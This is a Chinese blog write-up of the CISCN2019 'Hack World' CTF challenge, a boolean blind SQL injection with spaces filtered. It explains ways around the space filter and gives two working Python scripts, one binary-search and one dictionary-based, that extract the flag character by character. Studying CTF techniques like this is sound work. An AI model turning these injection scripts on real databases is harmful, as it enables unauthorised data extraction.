• [CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)


    记一道布尔注入的题,存在过滤字符。
    从题目看应该是一道注入题。提示存在flag表flag列。
    输入1和2的返回结果不一样,可能是布尔注入。
    简单用万能密码尝试了一下。提示SQL Injection Checked。显然是存在过滤的。FUZZ测试:

    好像并没有过滤掉很多的东西。ascii和substr都存在,但是空格被过滤了。
    绕过空格的方法:
    1、注释绕过

    /**/
    /*!*/
    

    2、括号绕过
    3、HTML编码绕过
    常用的URL编码中,会把空格编码成%20,所以通过浏览器发包,进行的URL编码中,空格被编码成%20,而这是属于HTML编码中从 %00 到 %8F的范围,但在HTML编码中,还有一个编码可以取代空格,也就是%a0。
    我们这里因为没过滤掉括号我们自己括号绕过空格。
    这里应用一下大佬的脚本https://www.cnblogs.com/20175211lyz/p/11435298.html

    import string
    import requests
    import string
    
    url = "http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
    result = ""
    right = "Hello"
    for i in range(1,50):
        high = 127
        low = 32
        mid = (low+high) // 2    #找中间数
        while high>low:
            payload = "if(ascii(substr((select(flag)from(flag)),%s,1))>%s,1,2)"%(i,mid)
            date = {"id":payload}
            repos = requests.post(url,data=date)
            if right in repos.text:
                low = mid + 1    #假如返回的字符串中有Hello,即flag的某个字符的ascii码比中间数大,我们要增大中间数
            else:
                high = mid    #假如返回的字符串中没有Hello,即flag的某个字符的ascii码比中间数小,我们要把最大数调整到原来的中间数位置
            mid = (low+high) //2
        result += chr(int(mid))  #中间数不一定是整数,用int转成整数
        print(result)
    

    下面是自己写的。如果有大师傅看到这篇文章,指点一下小弟,下面是自己写的脚本能跑,但是有点问题。

    flag{eb683c48e1a849f79d3ff65e693f9551} //自己跑出来的flag
    flag{eb683c48-e1a8-49f7-9d3f-f65e693f9551}  //别人脚本跑出来的flag,这个是正确的
    

    自己写的脚本跑不出“-”这个字符。其他的字母和数字是一样的。

    import requests
    import string
    
    url="http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
    dic = string.digits+string.ascii_letters+"!@#$%^&*()_=+{}-"
    result =""
    for i in range(1,60):
        for each in dic:
            payload = "if((ascii(substr((select(flag)from(flag)),%s,1))=ascii('%s')),1,2)"%(i,each)
            print(payload)
            date = {"id":payload}
            rep = requests.post(url=url,data=date)
            if "Hello" in rep.text:
                print(each)
                result += each
                print(result)
                break
    print(result)
    
  • 相关阅读:
    比赛-ZR DAY1 (04 Aug, 2018)
    Java NIO系列教程(十一) Pipe
    Java NIO系列教程(九) ServerSocketChannel
    Java NIO系列教程(十) Java NIO DatagramChannel
    Java NIO系列教程(七) FileChannel
    Java NIO系列教程(八) SocketChannel
    Java NIO系列教程(六) Selector
    Java NIO系列教程(四) Scatter/Gather
    Java NIO系列教程(五) 通道之间的数据传输
    Java NIO系列教程(二) Channel
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/13068425.html
Copyright © 2020-2023  润新知